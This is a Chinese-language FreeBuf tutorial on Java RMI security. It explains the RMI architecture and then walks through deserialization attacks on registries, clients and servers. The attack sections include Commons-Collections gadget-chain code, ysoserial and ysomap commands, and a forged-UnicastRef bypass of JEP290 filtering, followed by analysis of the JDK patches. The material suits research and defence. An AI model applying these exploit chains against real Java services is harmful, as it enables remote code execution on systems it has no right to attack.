freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

由浅入深RMI安全
2022-03-14 10:49:03
所属地 广东省

RMI介绍

RMI即远程方法调用,可以让一个JVM调用另一个JVM上的远程类(实现java.rmi.Remote接口的类)的方法。

这个过程有三个组织参与:client、注册中心(registry)、server。

RMI基础

具体方法是Server将需要暴露的方法作为代理对象(即stub存根,包含服务器host和port),注册到Registry注册中心。然后Client请求Registry来获取这个代理对象(stub),最后根据这个stub中的地址,通过rmi://协议,附上要调用的方法和参数,去请求这个地址(也就是server),server收到后去通过反射进行执行,将执行结果返回给Client。

1647224496_622ea6b0a717df8f5c9af.png!small?1647224497045

RMI Registry就像⼀个⽹关,它⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name 到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。

通俗的讲:

首先,RMIService必须先启动并开始监听对应的端口。

其次,RMIServer将自己提供的服务的实现类注册到RMIService上,并指定一个访问的路径(或者说名称)供RMIClient使用。

最后,RMIClient使用事先知道(或和RMIServer约定好)的路径(或名称)到RMIService上去寻找这个服务,并使用这个服务在本地的接口调用服务的具体方法。

RMI简单示例

Registry注册中心代码

//创建注册中心代码
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true);

服务端代码

1.先创建一个继承java.rmi.Remote的接口

package com.v1nt;

public interface HelloInterface extends java.rmi.Remote{
/* extends了Remote接口的类或者其他接口中的方法且声明抛出了RemoteException异常,
* 则表明该方法可被客户端远程访问调用。
*/
public String sayhello(String from) throws java.rmi.RemoteException;
}

在Java中,只要一个接口类继承了java.rmi.Remote接口,实现了该接口的对象就可成为存在于服务器端的远程对象, 供客户端访问并提供一定的服务。任何远程对象都必须直接或间接实现此接口。

注意:一定要注意包名也要一致,不然会调用不了方法

2.继承UnicastRemoteObject类,实现上面的接口

public class helloImpl extends UnicastRemoteObject implements HelloInterface {
// 这个实现必须有一个显式的构造函数,并且要抛出一个RemoteException异常
protected helloImpl() throws RemoteException {
super();
}

@Override
public String sayhello(String from) throws RemoteException {
System.out.println("sayhello from "+from);
return "sayhello";
}
}

远程对象必须继承java.rmi.server.UniCastRemoteObject类,这样才能保证客户端访问获得远程对象时,该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”, 而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理,用于与服务器端的通信, 而骨架也可认为是服务器端的一个代理,用于接收客户端的请求之后调用远程方法来响应客户端的请求。

为什么一定要有个显式的构造函数,因为我们知道,子类的构造方法会隐形调用父类的无参构造方法,然而这里的父类的UnicastRemoteObject 的无参构造方法有抛出了一个异常RemoteException,所以子类调用了父类的这个构造方法,就需要去接收这个异常,所以这里子类就必须要写个显式的构造函数来接受父类构造方法抛出的异常。

3.写服务端的启动类,用于创建远程对象注册表和注册远程对象

public class helloServer{
public static void main(String[] args) throws RemoteException, MalformedURLException {
helloImpl hello = new helloImpl();
try {
Naming.rebind("rmi://127.0.0.1:1099/hello", hello);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}

Naming类提供存储和获得“远程对象注册表”上远程对象的引用的方法

Naming类中的方法都是通过Registry类对“远程对象注册表”进行操作的,等同于

Registry registry=LocateRegistry.getRegistry(hostName,port);
Hello hello=(Hello)registry.lookup("HelloServer");

实际上Naming类方法封装了Registry接口方法,只需要一个URL就能对“远程对象注册表”进行相关操作

这段代码的作用就是注册远程对象,向客户端提供远程对象服务,远程对象是在远程服务上创建的,虽然我们无法确切地知道远程服务器上的对象的名称 ,但是将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求 到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了

客户端代码

1.创建同样的一个继承java.rmi.Remote接口的类

package com.v1nt;

public interface HelloInterface extends java.rmi.Remote{
public String sayhello(String from) throws java.rmi.RemoteException;
}

2.连接注册服务 查找hello对象

public class helloServer{
public static void main(String[] args) throws RemoteException, MalformedURLException {
HelloInterface hello = (HelloInterface);        
Naming.lookup("rmi://127.0.0.1:1099/hello");
/* 通过stub调用远程接口实现 */
String ret = hello.sayhello("Client");
System.out.println(ret);
}
}

1647224562_622ea6f29f2b22dd4b0bb.png!small?1647224562807

RMI原理

1647224609_622ea721ddb987721d836.png!small?1647224611376

客户端访问获得远程对象时,该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”, 而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理,用于与服务器端的通信, 而骨架也可认为是服务器端的一个代理,用于接收客户端的请求之后调用远程方法来响应客户端的请求。

RMI的本质就是实现在不同JVM之间的调用,它的实现方法就是在两个JVM中各开一个Stub和Skeleton,二者通过socket通信来实现参数和返回值的传递。

自行实现一个stub和skeleton程序,进一步探索RMI的代理访问原理

1647224634_622ea73a2d9025a8f2227.png!small?1647224634419

1、定义一个Person的接口,其中有两个business method, getAge() 和getName() 2、PersonStub类实现了person接口, 建立socket连接,并向Skeleton发请求,然后通过Skeleton调用PersonServer的方法,最后接收返回的结果。 3、 在skeleton这边创建一个Skeleton类 extends from Thread,它长驻在后台运行,随时接收client发过来的request。并根据发送过来的key去调用相应的method 4、PersonServer中对Person的接口进行了真正的实现,创建PersonServer实例对象,并启动Person_Skeleton服务,执行程序入口 5、Client(PersonClient)的本质是,它要知道Person接口的定义,并实例一个Person_Stub,通过Stub来调用 method,至于Stub怎么去和Server沟通,Client就不用管了。

Person接口代码:

public interface Person {   
public int getAge() throws Throwable;  
public String getName() throws Throwable;  
}

PersonClient代码

public class PersonClient {          
public static void main(String [] args) {            
try {                  
Person person = new Person_Stub();                  
int age = person.getAge();                  
String name = person.getName();                 System.out.println(name + " is " + age + " years old");            
} catch(Throwable t) {                  
t.printStackTrace();            
}        
}    
}  

注意它的写法:Person person = new Person_Stub();而不是Person_Stub person = new Person_Stub();因为要面向接口编程,实际上,对于PersonClient来说,它只关注Person接口,而且它的本质就是远程调用Person接口,而Person_Stub只是负责代理PersonClient去与Server交互。

Person_Stub代码

public class Person_Stub implements Person {          
private Socket socket;          
public Person_Stub() throws Throwable {socket = new Socket("computer_name", 9000); }          
public int getAge() throws Throwable {
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream());           outStream.writeObject("age");              
outStream.flush();              
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream());             return inStream.readInt();          
}          
public String getName() throws Throwable {            
ObjectOutputStream outStream =  new ObjectOutputStream(socket.getOutputStream());             outStream.writeObject("name");              
outStream.flush();              
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream());             return (String)inStream.readObject();          
}
}

PersonStub类实现了person接口, 建立socket连接,并向Skeleton发请求,然后通过Skeleton调用PersonServer的方法,最后接收返回的结果

骨架Person_Skeleton代码

public class Person_Skeleton extends Thread {
private PersonServer myServer;
public Person_Skeleton(PersonServer myServer) { this.myServer = myServer; }
@Override
public void run() {
try {
ServerSocket serverSocket = new ServerSocket(9000);
Socket socket = serverSocket.accept();
while (socket != null) {
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
if (method.equals("age")) {
int age = myServer.getAge();
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream());
outStream.writeInt(age);
outStream.flush();
}           }      
} catch(Throwable t) {      
t.printStackTrace();      
System.exit(0);      
}      
}          
}

PersonServer代码

public class PersonServer implements Person {
private int age;
private String name;
public PersonServer(String name, int age) {
this.age = age;
this.name = name;
}
@Override
public int getAge() { return age; }
@Override
public String getName() { return name; }
public static void main(String[] args) {
PersonServer person = new PersonServer("tom", 18);
Person_Skeleton skel = new Person_Skeleton(person);
skel.start();
}
}

PersonServer中对Person的接口进行了真正的实现,创建PersonServer实例对象,并启动Person_Skeleton服务。

1647224670_622ea75e898381b01b8e2.png!small?1647224670772

至此我们学习了解到RMI的原理实际上是通过Stub和Skeleton二者建立socket通信来实现参数和返回值的传递,以此来达到远程对象的方法调用,那么也证明了RMI Registry注册中心存在的必要性,主要为了给客户端提供绑定关系的相关信息,以便于与RMI server建立连接和调用方法。

RMI攻击面

JRMP

JRMP(Java 远程消息交换协议),是Java的一种通信协议,其中RMI协议中的对象传输部分底层就可以通过JRMP协议实现。

而JRMP传输对象时就是基于序列化来实现的,因此在这个过程中可能会存在一些问题。

RMI 攻击面

1.server进行bind时,registry会对bind()的stub对象的序列化流进行反序列化。如果registry中有对应的反序列化依赖(gadget),则可以进行攻击。

2.client进行lookup时,registry会进行反序列化,client也会对registry返回的数据进行反序列化。因此,理论上,client可以主动攻击registry,registry也可以被动攻击client。

3.client调用远程方法时,server会对client传来的参数数据进行反序列化,client会对server的执行结果进行反序列化。因此client和server也可以互相攻击。

1647224770_622ea7c24c0baf148af29.png!small?1647224770613

客户端、服务端攻击RMI Registry注册中心

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。 RMI Server的bind()、rebind()、unbind()可以通过绑定一个恶意序列化对象,当Registry中存在对应的Gadget时,可以造成反序列化RCE。 我们以服务端攻击注册中心为例子。

服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget恶意对象,例如这里我们的Gadget为commons-collection链

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, evalObject));
Naming.rebind("rmi://127.0.0.1:1099/hello", proxyEvalObject);

这里有一个需要注意的点就是调用bind()的时候无法传入AnnotationInvocationHandler类的对象,必须要转为Remote类才行,而AnnotationInvocationHandler本身实现了InvocationHandler接口,再通过代理类封装,可以用class.cast进行类型转换。又因为反序列化存在传递性,当proxyEvalObject被反序列化时,evalObject也会被反序列化,自然也会执行poc链。

来到sun.rmi.registry.RegistryImpl_Skel#dispatch下断点

1647224786_622ea7d2a3653f7a38796.png!small?1647224786894

case 0: //bind(String,Remote)分支 case 1: //list()分支 case 2: //lookup(String)分支 case 3: //rebind(String,Remote)分支 case 4: //unbind(String)分支

在case3的分支里对输入流调用了readObject进行了反序列化

不过有个问题值得思考:服务端向注册端进行bind等操作,是会验证服务端地址是否被注册端允许的(默认是只信任本机地址),那刚刚所讲的这种攻击方式有什么作用?

来到代码位置sun.rmi.registry.RegistryImpl_Skel#dispatch (jdk7)

1647224800_622ea7e0972b4fced9d48.png!small?1647224800823

在8u141之后,JDK代码对于此处验证逻辑发生了变化:变成先验证再反序列化操作了,等于服务端攻击注册端才变为不可用。

所以在jdk8u141之前的版本,服务端还是可以用这种方式攻击注册中心的。

客户端攻击RMI Registry注册中心另一种方式

借助ysoserial工具的JRMPClient模块攻击注册中心

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections6 "calc.exe"

原理:RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。 条件:jdk8u121以下及未支持JEP290的java版本

RMI Registry注册中心攻击客户端和服务端

RMI Client的lookup()参数可控时,通过请求恶意Registry,可返回一个恶意序列化对象,结合RMI Client本地的Gadget来攻击Client。

借助ysoserial工具的JRMPListener模块,生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用,以此来攻击客户端或者服务端

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc"

另外,除了lookup方法,其余的操作也可以利用,如下

  • list()

  • bind()

  • rebind()

  • unbind()

正是因为如此,同样也可以攻击服务端。

代码位置sun.rmi.registry.RegistryImpl_Stub#lookup

1647224903_622ea84797a99037f7c76.png!small?1647224903938

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.

客户端攻击RMI服务端

如果注册服务的对象接收一个参数为对象,那么可以传递一个恶意对象进行利用,因为这个恶意对象作为参数调用,在传递的过程中,服务端也需要进行反序列化,比如这里可以传递一个Common-collection反序列化漏洞poc构造出的一个恶意对象作为参数利用:

•利用Object类型参数

服务端代码:

(1)继承了Remote接口的HelloInterface接口

public interface HelloInterface extends java.rmi.Remote{
public String test(Object obj)throws java.rmi.RemoteException;
}

(2)实现了HelloInterface接口的helloImpl类

public class helloImpl extends UnicastRemoteObject implements HelloInterface {
protected helloImpl() throws RemoteException {
super();
}
@Override
public String test(Object obj){
return obj.toString();
}
}

客户端代码:

HelloInterface hello = (HelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
//CC1链序列化生成恶意对象
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[] {"Calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, outerMap);

//将恶意序列化对象作为参数传递调用
String str = hello.test(handler);

代码位置sun.rmi.server. UnicastServerRef #oldDispatch

1647224930_622ea8626b60d4e7f6e6b.png!small?1647224930807

跟进151行处的unmarshalValue方法

1647224936_622ea8687a372473eb6a4.png!small?1647224936755

isPrimitive方法主要用来判断Class是否为原始类型(boolean、char、byte、short、int、long、float、double)。

在else语句中调用了readObject方法进行了反序列化,从而执行了我们构造的gadget。

上面介绍的是利用object类型参数进行攻击,实际上即使暴露的函数非Object参数类型的,也是可以被攻击的。从上面的unmarshalValue方法中可以看出,如果参数类型为基本类型,是不会执行到下面的else语句执行反序列化的。但是攻击者对rmi客户端是完全可控的,可以用恶意对象替换从Object类派生的参数(例如String)有几种方法:

  1. 通过网络代理,在流量层修改数据

  2. 自定义 “java.rmi” 包的代码,自行实现

  3. 字节码修改

  4. 使用 debugger

流量层替换的方式可以参考0c0c0f师傅的这篇文章:

https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg

使用java agent的方式可参考afanti师傅的文章:https://www.anquanke.com/post/id/200860,通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget

RMI服务端攻击客户端

•跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了。

例如我们将test方法的返回类型改为Object,然后再修改helloImpl类,把Commons-Collection的gadget放进test方法里作为return的结果返回客户端,就会反序列化执行POC链:

1647224981_622ea89569c999bd04679.png!small?1647224981810

上述的几种方法都需要Client、Server本地有对应的Gadget依赖,这种方式有一定的局限。

可以利用Reference对象。比如如下代码:

1647224988_622ea89c744278a892b8e.png!small?1647224988882

client会自动去http://localhost/远程获取Calc的class字节码,从而造成针对client的攻击。但是这种方法在8u121之后默认失效。8u121之后会有反序列化白名单限制,且默认无法通过Reference加载远程字节码。

什么是JEP290?

JEP290是来限制能够被反序列化的类,主要包含以下几个机制:

  1. 提供一个限制反序列化类的机制,白名单或者黑名单。

  2. 限制反序列化的深度和复杂度。

  3. 为RMI远程调用对象提供了一个验证类的机制。

  4. 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。

JEP290支持的版本:JDK 8u121、JDK 7u131、JDK 6u141

JEP 290 通过向 Java 添加多个序列化过滤器引入了 检测反序列化攻击的概念,这些过滤器允许进程在反序列化之前筛选传入的序列化对象流,可以参考oracle官方介绍文档https://docs.oracle.com/javase/10/core/serialization-filtering1.htm

简单来说,就是ysoserial中的所有gadget已经加入黑名单了,底层JDK实现的防御反序列化攻击,其核心在于提供了一个ObjectInputFilter接口,通过设置filter对象,然后在反序列化(ObjectInputStream#readObject)的时候触发filter的检测

Bypass JEP290(jdk8u231之前)

方式一 利用UnicastRef

复现

1.用ysoserial启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5的)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"

2.启动注册中心

3.启动Client调用bind()操作

客户端TestClient.java

public class TestClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(TestClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}

4.注册中心被反序列化攻击

简单分析

如果只是bind一个恶意对象,会抛出错误ObjectInputFilter REJECTED

1647225037_622ea8cd797219a040af4.png!small?1647225037707

跟一下.注册中心创建的流程,代码位置RegistryImpl#RegistryImpl()方法处,

1647225056_622ea8e062f2cbe4bc459.png!small?1647225056665

实例化UnicastServerRef时第二个参数传入的是RegistryImpl::registryFilter。传入之后的值赋值给了this.Filter,跟进registryFilter

1647225073_622ea8f1a1a4af90bb731.png!small?1647225073971

后面返回的内容相当于配置了一个白名单,当传入的类不属于白名单的内容时,则会返回REJECTED,否则就会返回ALLOWED。白名单如下:

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

当服务端进行bind()操作时,会执行到UnicastServerRef#oldDispatch()中,在如下位置去调用this.skel.dispatch绑定服务的

1647225090_622ea902e23abded6919b.png!small?1647225091175

跟进this.unmarshalCustomCallData()

1647225100_622ea90c6a6ea9038d6e4.png!small?1647225100700

在这里进行了设置过滤,UnicastServerRef.this.filter就是之前实例化的时候所设置的。规则就是之前所说的白名单,不属于那个白名单的类就不允许被反序列化。那么这个过程其实就是Registry在处理请求的过程中设置了一个过滤器来防范注册中心被反序列化漏洞攻击。

接着向注册中心发起攻击,然后直接在RemoteObject#readObject处下断点

1647225125_622ea92541e2221617476.png!small?1647225125509

ref获取出来为我们构造的UnicastRef 对象,接着调用UnicastRef 对象的readExternal()方法,跟入

1647225135_622ea92f10f88f88bdd37.png!small?1647225135354

发现调用LiveRef.read()来还原成员变量LiveRef ref属性,跟入

1647225149_622ea93d0b867f74a29e8.png!small?1647225149329

首先恢复一个由我们指定的LiveRef对象,这里是var5,这里有个误区,实际上在调试中发现进入的是图中所示的if语句中的stream.saveRef(ref)中,而不是直接进入else语句中的 DGCClient.registerRefs(),跟入stream.saveRef(ref)

1647225332_622ea9f4a68948ede7ad7.png!small?1647225333023

将构造的ref填入流中的incomingRefTable字段,再之后返回到RemoteCall#releaseInputStream 统一解析

1647225342_622ea9feef7c90d6b5e41.png!small?1647225343300

跟入

1647225352_622eaa0836054aae71246.png!small?1647225352517

再跟入this.in.registerRefs()

1647225364_622eaa140280815bb18c4.png!small?1647225364294

开始从incomingRefTable字段中取出ref对象,然后调用DGCClient.registerRefs()

1647225372_622eaa1c43ca034241761.png!small?1647225372587

跟入

1647225622_622eab1610da2942d2a01.png!small?1647225622351

调用makeDirtyCall()方法,在这方法里会发起DGC客户端的dirty请求

1647225633_622eab2180b6ec401c640.png!small?1647225633821

调用 DGC 实现类实际是 DGCImpl_Stub 的dirty方法进行通信触发反序列化,跟入

1647225644_622eab2c39557731c146f.png!small?1647225644573

建立连接后会从JRMP客户端获取输入流,然后作为参数传入UnicastRef#invoke方法,在其中进行反序列化

1647225651_622eab33dc77d2a011602.png!small?1647225652561


简单的总结就是伪造了一个UnicastRef用于跟注册中心通信,通过UnicastRef对象建立一个JRMP连接,并且这个payload里面的对象都是在白名单里的,所以不会被拦截,另外JRMPListener端将序列化传给注册中心反序列化的过程中没有setObjectInputFilter,传给注册中心的恶意对象会被反序列化进而攻击成功

方式二 利用传递参数反序列化

其实这个方式跟上述客户端攻击RMI服务端小节中的内容一致,可以直接利用Object类型参数传递进行反序列化攻击,也可以通过以下几种方法用恶意对象替换从Object类派生的参数:

  1. 通过网络代理,在流量层修改数据

  2. 自定义 “java.rmi” 包的代码,自行实现

  3. 字节码修改

  4. 使用 debugger

这是因为JEP290默认只为RMI Registry注册中心和RMI分布式垃圾收集器提供了相应的内置过滤器,这两个过滤器都是通过白名单的方式来过滤,从而指定只能反序列化被允许的类。实际上传递参数这块没有这种限制,因为这与RMI服务的逻辑有关,传递参数的类型不可能只为白名单中的那些类,不然的话所有自定义类型的类都不能作为参数调用了,这与实际使用场景相违背。

jdk8u231修复分析

讲jdk版本切换到8u231再次进行攻击,

1647225666_622eab4266d370805392c.png!small?1647225666692

发现我们JRMP服务端打客户端的反序列化被检测出来了,触发了JEP290机制,提示“ObjectInputFilter REJECTED”

1647225684_622eab54302b6d857ade2.png!small?1647225684515

看看是在哪个地方进行的修复,具体代码位置sun.rmi.transport.DGCImpl_Stub#dirty

1647225752_622eab98919a882024791.png!small?1647225752923

在dirty方法内添加了setObjectInputFilter过程,从而提前阻止了恶意对象的反序列化

Bypass JEP290(jdk8u231-jdk8u241)

国外安全研究人员@An Trinhs发现了一个gadgets利用链,能够直接反序列化UnicastRemoteObject造成反序列化漏洞,可参考文章:https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/

复现

ysomap工具里面已经集成了这种绕过方式,我们直接拿过来用就可以了,使用里面的RMIConnectWithUnicastRemoteObject模块可以bypass jdk8u231,命令如下:

ysomap > use exploit RMIRegistryExploit
[+] Create a new session.
[+] Created a new exploit(RMIRegistryExploit)
ysomap exploit(RMIRegistryExploit) > use payload RMIConnectWithUnicastRemoteObject
[+] Created a new payload(RMIConnectWithUnicastRemoteObject)
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) > use bullet RMIConnectBullet
[+] Created a new bullet(RMIConnectBullet)
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set target localhost:1099
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set rhost 127.0.0.1
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set rport 3333
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > run

然后照常使用ysoserial在3333端口开启的JRMP服务端返回恶意对象即可

1647225768_622eaba8afd989823a1eb.png!small?1647225772375

简单分析

https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/这篇文章中可以看到利用链的开始是利用UnicastRemoteObject.readObject()

1647225779_622eabb3d1b16260f68cd.png!small?1647225780225

首先我们先来看看ysomap工具中是如何生成恶意UnicastRemoteObject对象的,代码位置ysomap/payloads/java/rmi/RMIConnectWithUnicastRemoteObject.java

1647225794_622eabc21821474ef76a4.png!small?1647225794396

参数obj实际上是我们要构造的UnicastRef对象,这里我简单画了个图方便理解

1647225801_622eabc99cc89e5a2231e.png!small?1647225801948

最终生成UnicastRemoteObject对象,来看下UnicastRemoteObject#readObject

1647225809_622eabd1a9e02792640bd.png!small?1647225810072

这里没有太多代码,“defaultReadObject()”方法使用正常的反序列化来填充对象属性,然后调用reexport()方法,跟进

1647225820_622eabdc010e296fcb979.png!small?1647225820300

注意这里的ssf变量为我们可控的,它实际上是一个RMIServerSocketFactory接口,该接口有个createServerSocket方法,在后面的调用栈中调用了不同的exportObject方法后,会来到sun.rmi.transport.tcp.TCPEndpoint#newServerSocket,在这里调用了RMIServerSocketFactory#createServerSocket方法

1647225827_622eabe3e3758bd6ff4f9.png!small?1647225828257

然后就到了关键的一步,通过动态代理重定向到调用处理程序的invoke方法,这里也就是调用了RemoteObjectInvocationHandler的invoke方法,跟进

1647225842_622eabf28ecfba0fa3aca.png!small?1647225842936

在RemoteObjectInvocationHandler的invoke方法里return时调用了invokeRemoteMethod方法,继续跟进

1647225851_622eabfbadb1c831be5dc.png!small?1647225852182

在这里调用了我们构造的UnicastRef的invoke方法,

1647225859_622eac0318dce7e52e83d.png!small?1647225860861

在这里向JRMP服务端发起了请求,后面就是建立连接以及接收服务端的数据并进行反序列化

1647225868_622eac0c331349709f388.png!small?1647225868567

总结这条利用利用链可以发现,主要是在UnicastRemoteObject的readObject方法的处理逻辑中,利用了动态代理重定向调用了RemoteObjectInvocationHandler的invoke方法,然后可以调用到RemoteObjectInvocationHandler对象中构造的UnicastRef对象的invoke方法,从而发起JRPM请求连接,并且在这个过程没有设置过滤器进行检查和过滤,从而实现了绕过。

jdk8u241修复

jdk8u241修复主要是在后面的调用RemoteObjectInvocationHandler#invokeRemoteMethod中:

1647225916_622eac3c5a5704b611d71.png!small?1647225916700

Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}

对比发现增加了对传入的method进行验证,按照我们刚刚的利用链,这里的method就是为createServerSocket方法,也就是说不可控的,这个createServerSocket方法对应的类也就是RMIServerSocketFactory类,那么这里肯定不是一个remote接口,于是抛出异常。

Reference

https://xz.aliyun.com/t/8706

https://xz.aliyun.com/t/7932

https://www.anquanke.com/post/id/200860

https://su18.org/post/rmi-attack/#1-%E6%94%BB%E5%87%BB-server-%E7%AB%AF

https://paper.seebug.org/1194/#_6

https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1

# RMI安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录